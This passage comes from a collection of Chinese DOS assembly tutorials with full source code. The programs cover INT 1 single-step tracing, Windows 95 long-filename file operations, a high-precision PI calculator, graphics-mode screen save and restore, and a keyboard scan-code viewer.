D_MES2		DB	'%14r- SEGMENT CHANGE %13r-',0dh,0ah,0
;新的单步中断 INT 1 例程
;
int1:
        push	ax
        push	bp
        mov	bp,sp		;

        mov	ax,ss:[bp+4]	;返回的 ip
        mov	cs:_ip,ax
        mov	ax,ss:[bp+6]	;返回的 cs
        mov	cs:_cs,ax
        mov	ax,ss:[bp+8]	;flag
        mov	cs:_flag,ax

        pop	bp
        pop	ax

        pushf
        pusha
        push	ds
        push	es

        push	cs
        pop	ds
        push	cs
        pop	es

        mov	ax,_cs
        cmp	ax,_old_cs
        mov	_old_cs,ax
        jz	int1_1
        mov	si,offset d_mes2	;segment has changed
        call	printf
int1_1:
        mov	si,offset d_mes1	;print return address
        call	printf			;and flags
        pop	es
        pop	ds
        popa
        popf
        iret
install:
        mov	ax,cs
        mov	_old_cs,ax

        mov	ax,3501h	;keep int 01
        int	21h
        push	es
        push	bx

        mov	ax,2501h	;set new int 01
        mov	dx,offset int1
        int	21h

        pushf
        pop	ax
        or	ax,0100h
        push	ax
        popf			;set int 01 flag
;--------------------------------------------------------
        xor	ax,ax
        mov	es,ax	;从这一句开始单步中断

        mov	ah,-1	;由于 INT 语句要清单步中断，所以
        pushf		;要用 PUSHF/CALL FAR 的形式执行 INT 21H
        call	dword ptr es:[4*21h]
        pushf
        pop	ax
        and	ax,0feffh
        push	ax		;跟踪完毕后清楚单步中断
        popf			;clear int 01 flag
;---------------------------------------------------------
        pop	dx
        pop	ds
        mov	ax,2501h
        int	21h		;restore old int 01

        int	20h
INCLUDE		PRINTF.ASM		;公用屏幕输出子程序
CODE		ENDS
        END	START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Using long filename of windows 95

Windows 95 长文件名的使用

概述：

Windows 95 的长文件名给我们带来了很大的方便，本文讲述有关长文件名的使用方法。
长文件名的使用涉及到几个中断，在使用中，原先 DOS 中 INT 21H 的中断中参数有 ASC 文件名的地方，都有一个新的中断对应，如 INT 21H 的 3DH，6CH 对应 716CH （打开/建立文件），56H 对应 7156H（文件改名），41H 对应 7141H（文件删除）等等，其他参数中没有 ASC 文件名的，则使用原来的中断，如 3EH，3FH，40H （关闭/读/写）等等，一般编程中先检测系统是否支持长文件名，如果支持，则用新功能打开文件，再用普通的 3EH，3FH，40H 等对文件进行操作。本文中有几个例子，是用长文件名建立一个文件，写入一段文字，再打开文件、改名，然后删除，大家可以对应中断说明分析一下。
本程序要用到的 INT 21H 中断的 71xxH 功能如下：

INT 21H 中断的 716CH 功能：（打开或建立文件）

输入参数：

AX = 716Ch
BX = 存取模式和共享标志

Bit(s) Description
2-0 file access mode
000 read-only
001 write-only
010 read-write
100 read-only, do not modify file's last-access time
6-4 file sharing modes
7 no-inherit flag
8 do not buffer data (requires that all reads/writes be exact physical
sectors)
9 do not compress file even if volume normally compresses files
10 use alias hint in DI as numeric tail for short-name alias
12-11 unused??? (0)
13 return error code instead of generating INT 24h if critical error

CX = 文件属性
DX = 执行方式
Bit(s) Description (Table 01758)
0 open file (fail if file does not exist)
1 truncate file if it already exists (fail if file does not exist)
4 create new file if file does not already exist (fail if exists)
Note: the only valid combinations of multiple flags are bits 4&0 and 4&1

DS:SI -> ASC 码文件名
DI = 转化成短文件名后面加的编号

返回参数：CF 清除则成功

AX = file handle
CX = action taken
0001h file opened
0002h file created
0003h file replaced

CF 置位则失败
AX = 7100H 则表示功能不被支持
返回参数：CF 清除则成功

INT 21H 中断的 7156H 功能：（文件改名）

输入参数：
AX = 7156h
DS:DX -> 原来的 ASC 码文件名
ES:DI -> 新的 ASC 码文件名
返回参数：CF 清除则成功
CF 置位则失败
AX = 7100H 则表示功能不被支持

INT 21H 中断的 7141H 功能：（文件删除）

输入参数：
AX = 7141h
DS:DX -> ASC 码文件名
SI = 属性及是否支持通配符
0000h 不支持通配符，忽略属性
0001h 支持通配符
CL = 属性
CH = must-match attributes
返回参数：CF 清除则成功
CF 置位则失败
AX = 7100H 则表示功能不被支持

源程序：

;长文件名示例之一，建立文件 This is a test file.txt，写入一句文字，再关闭

code		segment
        assume	cs:code,ds:code
        org	100h
start:
        jmp	start1
file_name	db	'This is a test file.txt',0
d_text		db	'Sample text',0dh,0ah
d_text_end	equ	this byte
d_error		db	'Create file error !',0dh,0ah,24h
start1:
        mov	ax,716ch
        mov	bx,2		;Read and write
        xor	cx,cx		;Normal attrib
        mov	dx,0010h	;Create new file
        mov	si,offset file_name
        xor	di,di
        int	21h
        jb	error
        mov	bx,ax
        mov	ah,40h
        mov	cx,offset d_text_end - offset d_text
        mov	dx,offset d_text
        int	21h

        mov	ah,3eh
        int	21h
        int	20h
error:
        mov	ah,9
        mov	dx,offset d_error
        int	21h
        int	20h
code		ends
        end	start

;长文件名示例之二，打开文件 This is a test file.txt，显示文件内容，再关闭
code		segment
        assume	cs:code,ds:code
        org	100h
start:
        jmp	start1
file_name	db	'This is a test file.txt',0
buffer		db	13 dup (0),0dh,0ah,24h
d_error		db	'Open file error !',0dh,0ah,24h
start1:
        mov	ax,716ch
        mov	bx,2		;Read and write
        xor	cx,cx		;Normal attrib
        mov	dx,1		;Open file
        mov	si,offset file_name
        mov	di,1
        int	21h
        jb	error
        mov	bx,ax
        mov	ah,3fh
        mov	dx,offset buffer
        mov	cx,13
        int	21h

        mov	ah,9
        mov	dx,offset buffer
        int	21h

        mov	ah,3eh
        int	21h
        int	20h
error:
        mov	ah,9
        mov	dx,offset d_error
        int	21h
        int	20h
code		ends
        end	start

;长文件名示例之三，把文件 This is a test file.txt 改名到 This is another file name.txt
code		segment
        assume	cs:code,ds:code
        org	100h
start:
        jmp	start1
file_name	db	'This is a test file.txt',0
new_name	db	'This is another file name.txt',0
d_error		db	'Rename file error !',0dh,0ah,24h
start1:
        mov	ax,7156h
        mov	dx,offset file_name
        mov	di,offset new_name
        int	21h
        jb	error

        int	20h
error:
        mov	ah,9
        mov	dx,offset d_error
        int	21h
        int	20h
code		ends
        end	start

;长文件名示例之四，把文件 This is another file name.txt 删除
code		segment
        assume	cs:code,ds:code
        org	100h
start:
        jmp	start1
file_name	db	'This is another file name.txt',0
d_error		db	'Delete file error !',0dh,0ah,24h
start1:
        mov	ax,7141h
        mov	dx,offset file_name
        xor	si,si
        xor	cx,cx
        int	21h
        jb	error

        int	20h
error:
        mov	ah,9
        mov	dx,offset d_error
        int	21h
        int	20h
code		ends
        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Calculating PI

用汇编计算圆周率

概述：
用汇编语言编制计算程序并不是强项，特别是在涉及到浮点计算时，但汇编的一个好处就是速度快，所以在整数计算时可以试一下。本文的理论基础来自是电脑杂志1996年第10期，作者郭继展发表的一篇文章，作者提出一个公式：
PI=16arctg(1/5)-4arctg(1/239)
在展开成两个级数之和，然后整理得到：
PI=16x(1/5-1/(5^3/3)+1/(5^5/5)-1/(5^7/7)+...)-4x(1/239-1/(239^3/3)+1/(239^5/5)-1/(239^7/7)+...)
=4x(4x5/25-239/57121)/1-4x(4x5/25^2-239/57121^2)/3+4x(4x5/25^3-239/57121^3)/5-...
我对以上公式和推导一看就头疼，但根据它编出的程序却可以在4分钟内算出圆周率的小数点下8万位!（在P5/200上）想当年祖冲之算了一生才算到3.14159265，十九世纪英国人香克思用了一生才算到小数点下707位。
本程序的难点就是如何达到小数点下这么多位的精度，这个办法就是：在计算机中一个 WORD 可以表示0到65535，我们可以在内存定义一个字来表示五位数，如果要算到小数点下10000位，则定义2000个字来表示它，如计算239/57121时，可以用23900000/57121，得到小于五位的结果存到第一个字中，然后用余数乘以100000再除57121，得到小于五位的结果存到第二个字中，依此类推。为了计算时不至于溢出，本程序动用一个双字来表示五位数，再用一个段64K来表示一个高精度数，共可以表示（65536/4）*5 共有小数点下 81920 位。一共用到三个段，第一个段存储（4*4*5/25^n），第二个段存储（4*239/57121^n），第三个段存储最后的结果即 PI。
本程序的意义就在于提出了一个表示高精度数的办法，如果内寸足够的话，理论上可以进行任何精度的计算。这里是编译好的可执行文件：pi.com，计算结果8万位的PI值：pi.txt，还有本程序要用到的两个公用子程序 scanf.asm 和 printf.asm，用于读入键盘数字输入和屏幕数字输出。（引用本程序时请注明出处，并请勿改动版权信息）

源程序：

.386
CODE SEGMENT USE16
ASSUME CS:CODE,DS:CODE
ORG 100H
start:
jmp install

HANDLE DW ?
_MIN DW ?
_SEC DW ?
_SEC1 DW ?
_A DD ?
_B DD ?
_FS_POINT DW 0
_GS_POINT DW 0
_DIV DD 1
FLAG DB ? ;=1 +
DIGITAL DD 5000 ;how many points want to calculate
POINT DW ? ;total point /5
NUM_POINT DW ? ;total point /5 * 4
_COUNT DD ?
TMP_NUM0 DD ?
TMP_NUM DD 10 dup (?)
KEY_BUFF DB 6,0,6 dup (0)

D_SAVE DB 'Saving result to file %c ...',0
DW 80h
D_SAVE_OK DB 8,8,8,8,', OK !',0dh,0ah,0
D_SAVE_ERR DB 8,8,8,8,', error !',0dh,0ah,0

D_TIME DB 0dh,0ah,'Total %ld points, time used %d:%02d.%03d, '
db 'calculate %ld times.',0dh,0ah,0
dw digital,_min,_sec,_sec1,_div
D_SCAN DB '<<PI calculater>> Dec 18, 1996',0dh,0ah
DB 'Copyright(C) by Luo Yun Bin, phone 0576-4114689',0dh,0ah,0ah
DB 'How many points (10-80000): ',0
D_ABORT DB 'User pressed Esc, calculate aborted !%20r ',0dh,0ah,0
D_CAL DB 'Calculating, please waiting ... (Esc to cancel)',0dh,0
D_CAL1 DB '%d %% calculated, please waiting ... (Esc to cancel)',0dh,0
DW PERCENT
PERCENT DW ?
D_STR1 DB ' PI = %1ld.%c',0dh,0ah,0
DW tmp_num0,d_sub_str
D_STR2 DB '%5ld : %c'
DB 0dh,0ah,0
DW _count,d_sub_str
D_SUB_STR DB '%05ld %05ld %05ld %05ld %05ld '
DB '%05ld %05ld %05ld %05ld %05ld',0
DW tmp_num,tmp_num+4,tmp_num+8,tmp_num+12,tmp_num+16
DW tmp_num+20,tmp_num+24,tmp_num+28,tmp_num+32,tmp_num+36

install:
mov si,offset d_scan
call printf
mov ah,0Ah
mov dx,offset key_buff
int 21h
mov si,offset key_buff+2
call scanf
mov eax,dword ptr scan_num
mov digital,eax
mov si,offset d_cal
call printf

xor ax,ax
mov ds,ax
mov ax,ds:[046ch]
push cs
pop ds
mov _sec,ax

mov ax,cs
add ax,1000h ;result of 4*4*5/25^n
mov fs,ax
add ax,1000h ;result of 4*239/57121^n
mov gs,ax
add ax,1000h ;total result
mov bp,ax

mov ax,fs
call init_num
mov dword ptr fs:[4],4*239*100000

mov ax,gs
call init_num
mov dword ptr gs:[4],4*4*5*100000

mov ax,bp
call init_num

call pre
call calc

xor ax,ax
mov ds,ax
mov ax,ds:[046ch]
push cs
pop ds
mov _sec1,ax

push point
call num_out
pop point

mov ax,_sec1
sub ax,_sec
mov cx,55
mul cx
mov cx,1000
div cx
mov _sec1,dx
mov cx,60
xor dx,dx
div cx
mov _min,ax
mov _sec,dx
mov si,offset d_time
call printf

mov si,81h
mov di,80h
cmd_lop:
lodsb
cmp al,0dh
jz cmd_end
cmp al,20h
jbe cmd_lop
cmp al,'a'
jb cmd_store
cmp al,'z'
ja cmd_store
sub al,20h
cmd_store:
stosb
jmp short cmd_lop
cmd_end:
xor al,al
stosb

mov si,80h
cmp byte ptr ds:[si],0
jz quit

mov si,offset d_save
call printf

mov ah,3ch
xor cx,cx
mov dx,80h
int 21h
jb file_err

mov handle,ax
mov std_out,offset write_file
call num_out

mov std_out,offset prt_to_scr
mov si,offset d_save_ok
call printf

mov ah,3eh
mov bx,handle
int 21h
int 20h
file_err:
mov si,offset d_save_err
call printf
int 20h
quit:
int 20h

WRITE_FILE PROC

pusha
mov ah,40h
mov flag,al
mov bx,handle
mov cx,1
mov dx,offset flag
int 21h
popa
ret

WRITE_FILE ENDP

PRE PROC

mov eax,digital ;total 65536*5/4 points
cmp eax,(65536/4-3)*5 ;comp max points
jbe pre_1
mov eax,(65536/4-3)*5
pre_1:
cmp eax,10 ;comp min points
jae pre_2 ;must > 10 and < 81915
mov eax,10
pre_2:
xor edx,edx
mov ecx,5
div ecx
mov ebx,eax
inc ebx
mov point,bx ;point for print control

mul ecx
mov digital,eax ;

mov eax,ebx
inc eax
mov ecx,4
mul ecx
mov num_point,ax ;max used memory

ret

PRE ENDP

CALC PROC

mov es,bp
c_lop0:
mov ah,1
int 16h
jz calc_0
xor ah,ah
int 16h
cmp al,1bh
jnz calc_00
push cs
pop es
mov si,offset d_abort
call printf
int 20h
calc_00:
xor eax,eax
mov ax,_gs_point
mov ecx,500
mul ecx
mov ecx,4
div ecx
xor edx,edx
div digital
mov percent,ax
mov si,offset d_cal1
push cs
pop es
call printf
mov es,bp
calc_0:
xor eax,eax
mov ecx,100000
mov _a,eax
mov _b,eax
xor flag,00000001b ;init part
;============================================================
mov ebx,57121
c_lop1:
mov si,_fs_point ;if 4*5/25^n = 0 skip
cmp si,num_point
jae calc_1
cmp dword ptr fs:[si],0
jnz c_lop2
add _fs_point,4
jmp short c_lop1
c_lop2:
mul ecx
add eax,fs:[si]
adc edx,0
div ebx
mov fs:[si],eax
mov eax,edx

add si,4
cmp si,num_point
jb c_lop2
;=======================================================
calc_1:
mov ebx,25
c_lop3:
mov si,_gs_point ;if 4*5/25^n = 0 skip
cmp si,num_point
jae calc_4
cmp dword ptr gs:[si],0
jnz c_lop4
add _gs_point,4
jmp short c_lop3
c_lop4:
mov eax,_a
mul ecx
add eax,gs:[si]
adc edx,0
div ebx
mov gs:[si],eax
mov _a,edx

mov eax,_b
mul ecx
add eax,gs:[si]
adc edx,0
sub eax,fs:[si]
sbb edx,0

cmp edx,0
jl _t1
div _div
mov _b,edx
jmp short _t2
_t1:
idiv _div
dec eax
add edx,_div
mov _b,edx
_t2:
test flag,00000001b
jnz calc_2
sub es:[si],eax
jmp short calc_3
calc_2:
add es:[si],eax
calc_3:
add si,4
cmp si,num_point
jb c_lop4
c_lop5:
add _div,2
jmp c_lop0
;====================================================
calc_4:
xor eax,eax
mov _a,eax
mov si,num_point
c_lop6:
sub si,4
mov eax,es:[si]
add eax,_a

cmp eax,ecx
jge calc_5
cmp eax,0
jle calc_6
mov _a,0
mov es:[si],eax
jmp short calc_8
calc_5:
xor edx,edx
div ecx
mov es:[si],edx
mov _a,eax
jmp short calc_8
calc_6:
mov edx,-1
idiv ecx
dec eax
add edx,ecx
mov es:[si],edx
mov _a,eax
calc_8:
cmp si,4
ja c_lop6

mov eax,_a
mov es:[0],eax

push cs
pop es
ret

CALC ENDP

INIT_NUM PROC

push es
mov es,ax
xor eax,eax
cld
xor di,di
mov cx,65536/4
cld
rep stosd
pop es
ret

INIT_NUM ENDP

NUM_OUT PROC

cld
xor esi,esi
mov _count,esi
mov di,offset tmp_num0
mov cx,11
cmp cx,point
jbe no_adjust
mov cx,point
no_adjust:
sub point,cx
mov ds,bp
rep movsd
push cs
pop ds

push si
mov si,offset d_str1
call printf
pop si
no_lop:
cmp point,0
jle no_quit
mov cx,10
mov di,offset tmp_num
xor eax,eax
rep stosd

mov cx,10
mov di,offset tmp_num
cmp point,10
jae no1
mov cx,point
no1:
sub point,cx
add _count,50
mov ds,bp ;bp = result segment
rep movsd
push cs
pop ds

push si
mov si,offset d_str2
call printf
pop si
jmp short no_lop
no_quit:
ret

NUM_OUT ENDP

INCLUDE SCANF.ASM
INCLUDE PRINTF.ASM

CODE ENDS
END START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Save and restore VRAM in graphic mode

图形显示方式屏幕的保存和恢复

概述：

在程序中常常要暂时的保存图形显示方式屏幕上的内容，然后把自己的信息输出到屏幕上，结束后再恢复原来的屏幕内容，特别在内存驻留程序弹出一个窗口时更要用到，但是图形方式下显示缓冲区的容量巨大，在常用的 80 x 25 文本方式下，显示缓冲区仅大小仅为 80 x 25 x 2 = 4000 字节，而在模式 13H 320 x 200 x 256 色时为 320 x 200 = 64000 字节，现在常用的高彩色、真彩色下如 800 x 600 x 65535 色时为 800 x 600 x 2 = 960000 字节，涉及到如此大的数据量程序必须使用磁盘交换方法或用到 XMS 做为数据保存缓冲区，使编程复杂化。
本文用了 INT 10H 中不清除显示内存设置新显示模式的方法，使不管在什么显示方式下，用到的缓冲区大下都在 10K 左右，即使在 1024 x 768 x 16.7M 色也能正常保存。
本程序的适用范围为保存屏幕后自己的程序仅仅使用文本模式 3 的情况，如果要用到图形模式，那么还是要保存全部的显示缓冲区。在兼容性方面，由于使用 VESA 标准功能，在现在的 PCI/VESA 显示卡上都能正常运行，我发现唯一不能运行的是有一段时期生产的 TVGA 8900/9000 卡，因为此卡在 VESA 功能刚出现的时候生产，支持 VESA 的伪彩色显示模式，却又不支持很多其他的 VESA 功能。大家找到克服的方法告诉我一声。
本程序要用到的一些中断的说明如下：

INT 10H 的 00H 功能，设置显示模式：

功能 | 入口参数 | 出口参数
INT 10H 的 00H功能 设置显示模式 | AH = 00H |
 | AL = 模式(如果位 7 置位，则不清除显示缓冲区)

INT 10H 的 1BH 功能，检测是否 VGA 卡：

功能 | 入口参数 | 出口参数
INT 10H 的 1BH功能 取 VGA/MCGA 的功能、状态信息 | AH = 1BH | AL = 1BH 成功(说明显示卡为 VGA 以上） ES:DI 返回状态信息
 | BX = 0000
 |  | AL <> 1BH 非VGA/MCGA 显示卡
 | ES:DI 指向 64 字节缓冲区

INT 10H 的 1CH 功能，保存/恢复视频状态：

功能 | 入口参数 | 出口参数
INT 10H 的 1C00H 功能 返回状态缓冲区容量 | AX = 1C00H | AL = 1CH 成功 BX = 需要的 64 字节块数目
INT 10H 的 1C01H 功能 保存视频状态 | AX = 1C01H |
 | ES:BX 指向缓冲区
INT 10H 的 1C02H 功能 恢复视频状态 | AX = 1C01H |
 | CX = 要求的状态 位 0 = 恢复视频硬件状态 位 1 = BIOS 数据区 位 2 = 彩色寄存器和 DAC 状态
 | ES:BX 指向缓冲区(用1C01H功能保存下来的)

INT 10H 的 4FH 功能，VESA 功能：

功能 | 入口参数 | 出口参数
INT 10H 的 4F00H功能 取显示卡 VESA 信息 | AX = 4F00H | AL = 4FH 说明显示卡支持VESA AH = 00H 成功 AH = 01H 失败
 | ES:DI 指向缓冲区 (256 字节) | AL <> 4FH 显示卡不支持VESA
INT 10H 的 4F05H功能 控制对 VESA 显示卡视频 RAM 的访问 | BH = 00H 选视频内存窗口 DX = 视频内存窗口地址 | AH = 00H 成功 AH = 01H 失败
 | BH = 01H 取视频内存窗口 | AH = 00H 成功 DX = 视频内存窗口地址 AH = 01H 失败

INT 33H 的 16H/17H 功能，保存/恢复鼠标驱动程序状态：

功能 | 入口参数 | 出口参数
INT 33H 的 0015H功能 确定保存鼠标驱动程序状态所需 的空间 | AX = 0015H | BX = 所需大小
INT 33H 的 0016H功能 保存鼠标驱动程序状态 | AX = 0016H |
 | BX = 缓冲区大小(用 0015H 获得)
 | ES:DX 指向缓冲区
INT 33H 的 0017H功能 恢复鼠标驱动程序状态 | AX = 0017H |
 | BX = 缓冲区大小(用 0015H 获得)
 | ES:DX 指向缓冲区

源程序：

;by Luo Yun Bin
;http://asm.yeah.net

;这个子程序用来检测显示卡的类型，鼠标状态等等
;在程序初始化时执行

;文中要用到的一些缓冲区请自己定义，注意大小！

flag db ? ;标志位，位 7 置 1 表示安装了鼠标
vga_type db ? ;显示卡类型
video_mode db ? ;显示模式
vga_win1 dw ? ;视频窗口,暂存 VESA 的窗口状态
vga_win2 dw ? ;
vga_win3 dw ? ;

...

TEST_VGA PROC

        push	0			;检测是否安装鼠标驱动程序
        pop	ds
        cmp	word ptr ds:[33h*4],0
        jz	no_mouse
        or	cs:flag,10000000b	;has mouse installed
no_mouse:
        push	cs
        pop	ds
        mov	ah,1bh			;检测是否是 VGA 以上显示卡
        xor	bx,bx
        mov	di,offset file_end
        int	10h
        cmp	al,1bh
        jnz	tv_no_vga
        mov	ax,4f00h		;检测是否支持 VESA 功能
        mov	di,offset file_end
        int	10h
        cmp	al,4fh
        jz	tv_is_vesa
        mov	dx,3c4h			;检测是否 TVGA 9000 卡
        mov	al,0eh			;这一段是照抄的，找不到资料
        out	dx,al
        inc	dx
        in	al,dx
        mov	bl,al
        xor	al,al
        out	dx,al
        in	al,dx
        xchg	al,bl
        out	dx,al
        test	bl,2
        jnz	tv_is_tvga
        mov	dx,3cdh			;检测是否 ET6000 卡
        in	al,dx
        mov	ah,al
        mov	al,11h
        out	dx,al
        in	al,dx
        xchg	ah,al
        out	dx,al
        cmp	ah,11h
        jz	tv_is_tseng
        mov	vga_type,4
        ret
tv_is_vesa:
        mov	vga_type,1
        ret
tv_is_tvga:
        mov	vga_type,2
        ret
tv_is_tseng:
        mov	vga_type,3
        ret
tv_no_vga:
        int	20h		;非 VGA 卡退出

TEST_VGA	ENDP

                ...

;================================================================
;保存显示缓冲区内容并设置新的显示模式到 80 x 25 文本 (模式 3）
SAVE_SCR	PROC
        push	ds
        push	es
        test	flag,10000000b		;见前面
        jz	ss_no_mouse
        mov	ax,16h			;保存鼠标状态
        mov	dx,offset mouse_buffer
        int	33h
ss_no_mouse:
        mov	ax,1c01h		;保存视频状态
        mov	bx,offset video_buffer
        mov	cx,7
        int	10h
        mov	ah,0fh			;保存原显示模式
        int	10h
        mov	video_mode,al
        cmp	al,3			;80 x 25 x 16 色
        jz	ss_mode3
        cmp	al,7			;80 x 25 黑白
        jz	ss_mode7
        xor	ax,ax			;以下为图形方式保存显示缓冲区
        call	vga_page
        call	vga_base
        call	save_vram
        mov	ax,0083h		;设置新的显示模式，不清除显示内存
        int	10h

        push	0b800h
        pop	ds			;保存显示内存
        xor	si,si
        mov	cx,1000h
        mov	di,offset ram_buffer
        push	cs
        push	ds
        cld
        rep	movsb
        xor	di,di			;
        mov	cx,80*25
        mov	ax,57b1h		;填充背景，不然有乱字符
        cld
        rep	stosw
scr_ret:
        pop	es
        pop	ds
        ret
ss_mode3:
        call	save_vram		;显示模式 3 保存显示 RAM
        jmp	short scr_ret
ss_mode7:
        push	0b000h			;显示模式 7 保存显示 RAM
        pop	ds
        call	save_vram1
        mov	ax,3
        int	10h
        call	restore_vram
        jmp	short scr_ret
SAVE_SCR	ENDP
SAVE_VRAM	PROC
        push	0b800h			;把显示内存保存到自己的缓冲区
        pop	ds
save_vram1:
        push	cs
        pop	ds
        xor	si,si
        mov	di,offset ram_buffer
        mov	cx,2000h
        cld
        rep	movsb
        ret

SAVE_VRAM	ENDP
RESTORE_VRAM	PROC

        push	0b800h			;恢复显示缓冲区内容
        pop	es
restore_vram1:
        xor	di,di
        push	cs
        pop	ds
        mov	si,offset ram_buffer
        mov	cx,2000h
        cld
        rep	movsb
        ret

RESTORE_VRAM	ENDP
VGA_PAGE	PROC
        cmp	vga_type,1
        jnz	other_vga1
        cmp	ah,1
        jz	vp_vesa2
        cmp	ah,2
        jz	vp_vesa1
        mov	ax,4f05h		;保存 VESA 显示卡状态
        mov	bx,0100h
        int	10h
        mov	vga_win1,dx
        mov	ax,4f05h
        mov	bx,0101h
        int	10h
        mov	vga_win2,dx
vp_vesa1:
        mov	ax,4f05h
        xor	bx,bx
        xor	dx,dx
        int	10h
        mov	ax,4f05h
        mov	bx,0001h
        xor	dx,dx
        int	10h
        ret
vp_vesa2:
        mov	ax,4f05h
        xor	bx,bx
        mov	dx,vga_win1
        int	10h
        mov	ax,4f05h
        mov	bx,0001h
        mov	dx,vga_win2
        int	10h
        ret
other_vga1:
        cmp	vga_type,3
        jnz	other_vga2
        mov	dx,3cdh
        cmp	ah,1
        jz	vp_tseng2
        cmp	ah,2
        jz	vp_tseng1
        in	al,dx
        mov	vga_win3,al
vp_tseng1:
        xor	al,al
        out	dx,al
        ret
vp_tseng2:
        mov	al,vga_win3
        out	dx,al
vp_ret:
        ret
other_vga2:
        cmp	vga_type,2
        jnz	vp_ret
        mov	al,0eh
        mov	dx,03c4h
        cmp	ah,1
        jz	vp_tvga2
        out	dx,al
        inc	dx
        in	al,dx
        cmp	ah,2
        jz	vp_tvga1
        mov	vga_win3,al
        xor	al,al
        out	dx,al
        ret
vp_tvga1:
        mov	al,2
        out	dx,al
        ret
vp_tvga2:
        mov	ah,vga_win3
        out	dx,ax
        ret
VGA_PAGE	ENDP
VGA_BASE	PROC
        mov	dx,3c4h			;这一段是照抄的，找不到资料
        mov	ax,402h
        out	dx,ax
        mov	ax,704h
        out	dx,ax
        mov	dx,3ceh
        mov	ax,0ff08h
        out	dx,ax
        mov	ax,0c06h
        out	dx,ax
        mov	ax,204h
        out	dx,ax
        mov	ax,5
        out	dx,ax
        ret
VGA_BASE	ENDP

;====================================================
;本子程序为恢复原来的显示内容
;在自己的程序执行完后使用
RESTORE_SCR	PROC
        push	cs
        pop	ds
        mov	al,video_mode		;根据不同的原显示模式不同处理
        cmp	al,3
        jz	rs_mode3
        cmp	al,7
        jz	rs_mode7
        push	0b800h			;以下为图形方式恢复显示内容
        pop	es
        push	cs
        pop	ds
        mov	si,offset ram_buffer
        xor	di,di
        mov	cx,1000h
        cld
        rep	movsb			;恢复显示 RAM

        mov	ah,2
        call	vga_page
        call	vga_base
        call	restore_vram
        xor	ah,ah			;恢复到原来的显示模式
        mov	al,video_mode
        or	al,80h
        int	10h
        mov	ah,1
        call	vga_base
        jmp	short rs_mode31
rs_mode3:
        call	restore_vram
rs_mode31:
        push	cs
        pop	es
        push	cs
        pop	ds
        mov	ax,1c02h		;恢复视频状态
        mov	bx,offset video_buffer
        mov	cx,7
        int	10h
        test	flag,10000000b
        jz	rs_no_mouse
        mov	ax,17h			;恢复鼠标状态
        mov	dx,offset mouse_buffer
        int	33h
rs_no_mouse:
        ret
rs_mode7:
        mov	ax,7			;显示模式 7 恢复
        int	10h
        push	0b000h
        pop	es
        call	restore_vram1
        jmp	short rs_mode31
RESTORE_SCR	ENDP

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Get scan code of a key

获得键盘扫描码

概述：

在编制键盘输入程序时常常要用到一个键的扫描码或ASC码，如用到 Foxpro 的 inkey() 函数，以及用到 BIOS 的 INT 16H时，但找一个编码表不太容易，有时候找到的编码表又不全，无法查到组合键的编码，本程序就是一个随时用来显示按键的ASC码及扫描码的程序，可以用 16 进制和 10 进制同时显示一个键按下和放开的扫描码，以及ASC码，同样也支持组合键。这里是编译好的可执行文件：scancode.com
在本程序中，查表的编程方法可用做参考，一般来说，如果程序有以下的结构：

...
cmp al,value1
jz offset1
cmp al,value2
jz offset2
cmp al,value3
jz offset3
...

且要比较的值很多时，可以考虑查表的方法。程序改为以下结构后，修改起来很容易，可读性也大大增强了,如果要继续添加分支时，只需在表中加上一项就行。

...
table db value1,value2,value3 ...
table1 dw offset1,offset2,offset3 ...

mov di,offset table
mov cx,table的长度
repnz scasb
jnz not_found

dec di
sub di,offset table ;取出表的地址
mov si,di
shl si,1 ;x2
add si,offset table1
jmp [si] ;跳转到表中的地址
...

源程序：

; Scan code viewer
; Aug 3,1995
; by Luo Yun Bin

.286
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
start:
jmp install

KEY_BUFF DB ? ;INT 9H中按下一个键产生的扫描码
KEY_BUFF1 DB ? ;INT 9H中松开一个键产生的扫描码
AAH DB ?
AAL DB ?

D_COPYRIGHT DB "<< ScanCode viewer >>",0dh,0ah
DB '(C) Copyright by Luo Yun Bin, May 26,1996',0dh,0ah
DB 'Phone: 0576-4114689.',0dh,0ah,0ah
DB "Press any key to view it's scan code...",0dh,0ah
DB 'or press Esc key to return DOS...',0dh,0ah,0ah,24h
D_MES1 DB 'Scan Code: %02shh (%2sd) ... '
DB 'Release: %02shh (%3sd) ... Key: ',0
DW KEY_BUFF,KEY_BUFF,KEY_BUFF1,KEY_BUFF1
D_MES2 DB 0dh,0ah,0
D_MES3 DB 'Key value: %02sh%02shh ...... '
DB '(AH=%sd,AL=%sd)',0dh,0ah,0ah,0
DW AAH,AAL,AAH,AAL
D_MES4 DB 'This is Scan Code viewer by LYB.',0dh,0ah,24h

;键盘扫描码编码表
; 0123456789abcdef ;
KEY_TABLE DB '??1234567890-=??' ;0
DB 'QWERTYUIOP[]??AS' ;1
DB "DFGHJKL;'`?\ZXCV" ;2
DB 'BNM,./?*????????' ;3
DB '??????????-?5?+?' ;4
DB '????????????????' ;5
DB '????????????????' ;6
DB '????????????????' ;7

;特殊键的说明字符串编码表
KEY_TABLE1 DB 3bh,3ch,3dh,3eh,3fh,40h,41h,42h,43h,44h,57h,58h
DB 0eh,0fh,3ah,2ah,1dh,38h,36h,1ch,39h,1
DB 52h,53h,47h,4fh,49h,51h,48h,50h,4bh,4dh,46h,45h

;对应上表
KEY_TABLE1_END EQU THIS BYTE
DW f1,f2,f3,f4,f5,f6,f7,f8,f9,f10,f11,f12
DW bks,tab,cap,lsh,ctr,alt,rsh,ent,spa,_esc
DW _ins,del,hom,_end,pgu,pgd,up,dow,lef,rig,sco,num

;特殊键的说明字符串
f1 db 'F1',0 ;
f2 db 'F2',0
f3 db 'F3',0
f4 db 'F4',0
f5 db 'F5',0
f6 db 'F6',0
f7 db 'F7',0
f8 db 'F8',0
f9 db 'F9',0
f10 db 'F10',0
f11 db 'F11',0
f12 db 'F12',0
bks db 'Back Space',0
tab db 'Table',0
cap db 'Caps Lock',0
lsh db 'Left Shift',0
ctr db 'Ctrl',0
alt db 'Alt',0
rsh db 'Right Shift',0
ent db 'Enter',0
spa db 'Space',0
_ins db 'Insert',0
del db 'Delete',0
hom db 'Home',0
_end db 'End',0
pgu db 'Page Up',0
pgd db 'Page Down',0
up db 'Up',0
dow db 'Down',0
lef db 'Left',0
rig db 'Right',0
sco db 'Scroll Lock',0
num db 'Num Lock',0
_esc db 'Esc',0

PRINT_KEY PROC

